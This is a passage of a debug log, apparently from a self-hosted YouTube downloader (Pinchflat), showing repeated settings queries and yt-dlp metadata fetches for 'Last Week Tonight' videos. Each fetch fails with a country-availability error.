AS s0 LIMIT 1 [] 15:45:53.540 [debug] QUERY OK source="settings" db=0.0ms idle=1502.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:53.540 [debug] Running yt-dlp command for action: get_media_attributes 15:45:53.540 [debug] QUERY OK source="settings" db=0.0ms idle=1502.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:53.540 [debug] QUERY OK source="settings" db=0.0ms idle=1153.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:53.540 [debug] QUERY OK source="settings" db=0.0ms idle=152.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:53.540 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/52/e7/52e7adf1b46939ffdfaf8dd882f5d62df008888658a163546d6104746989b1e4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:45:54.923 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/52/e7/52e7adf1b46939ffdfaf8dd882f5d62df008888658a163546d6104746989b1e4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 15:45:54.924 [error] Error creating media item '0qmNAOCgbgY' from URL: {:error, "ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 15:45:54.924 [debug] QUERY OK source="settings" db=0.1ms idle=535.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:54.924 [debug] QUERY OK source="settings" db=0.0ms idle=46.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:54.924 [debug] Running yt-dlp command for action: get_media_attributes 15:45:54.926 [debug] QUERY OK source="settings" db=0.0ms idle=47.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:54.926 [debug] QUERY OK source="settings" db=0.1ms idle=47.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:54.926 [debug] QUERY OK source="settings" db=0.0ms idle=47.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:54.926 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/59/a9/59a9745e59b20e40e41cbb8185ee4b00b5a4216091f613bda41d419126d2443a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:45:56.474 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/59/a9/59a9745e59b20e40e41cbb8185ee4b00b5a4216091f613bda41d419126d2443a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 15:45:56.474 [error] Error creating media item '73iQpsIE0i8' from URL: {:error, "ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 15:45:56.474 [debug] QUERY OK source="settings" db=0.1ms idle=1548.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:56.475 [debug] QUERY OK source="settings" db=0.1ms idle=1548.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:56.475 [debug] Running yt-dlp command for action: get_media_attributes 15:45:56.496 [debug] QUERY OK source="settings" db=0.1ms idle=1570.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:56.497 [debug] QUERY OK source="settings" db=0.1ms idle=1107.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:56.497 [debug] QUERY OK source="settings" db=0.1ms idle=106.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:56.497 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5d/48/5d48251ea635b4f33b56056c65a7eaa51ce035e98fc856ebf644b638fc1757b2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:45:57.350 [info] {"source":"oban","duration":10274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:57.895 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5d/48/5d48251ea635b4f33b56056c65a7eaa51ce035e98fc856ebf644b638fc1757b2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 15:45:57.895 [error] Error creating media item '9iZK_DurYOo' from URL: {:error, "ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 15:45:57.896 [debug] QUERY OK source="settings" db=0.1ms idle=545.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:57.896 [debug] QUERY OK source="settings" db=0.0ms idle=504.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:57.896 [debug] Running yt-dlp command for action: get_media_attributes 15:45:57.897 [debug] QUERY OK source="settings" db=0.0ms idle=18.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:57.897 [debug] QUERY OK source="settings" db=0.0ms idle=18.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:57.897 [debug] QUERY OK source="settings" db=0.0ms idle=19.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:57.897 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/3a/fa/3afa4f7a48050dc9f9be07f3abc7e58349a6c5f57e4072853d95cf61caef547a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:45:59.785 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/3a/fa/3afa4f7a48050dc9f9be07f3abc7e58349a6c5f57e4072853d95cf61caef547a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and 